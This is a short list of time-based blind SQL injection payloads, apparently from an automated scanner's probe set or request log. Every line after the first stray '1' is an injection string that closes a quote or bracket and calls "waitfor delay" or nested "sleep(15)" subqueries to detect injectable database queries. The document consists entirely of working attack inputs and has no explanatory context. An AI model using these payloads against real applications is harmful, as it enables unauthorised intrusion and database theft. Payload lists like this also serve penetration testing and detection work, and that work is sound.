1

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

WZlJS8iJ'; waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

JU9jQqkv'); waitfor delay '0:0:15' --

LYCK1I4Q'; waitfor delay '0:0:15' --

yElXQZ9i')); waitfor delay '0:0:15' --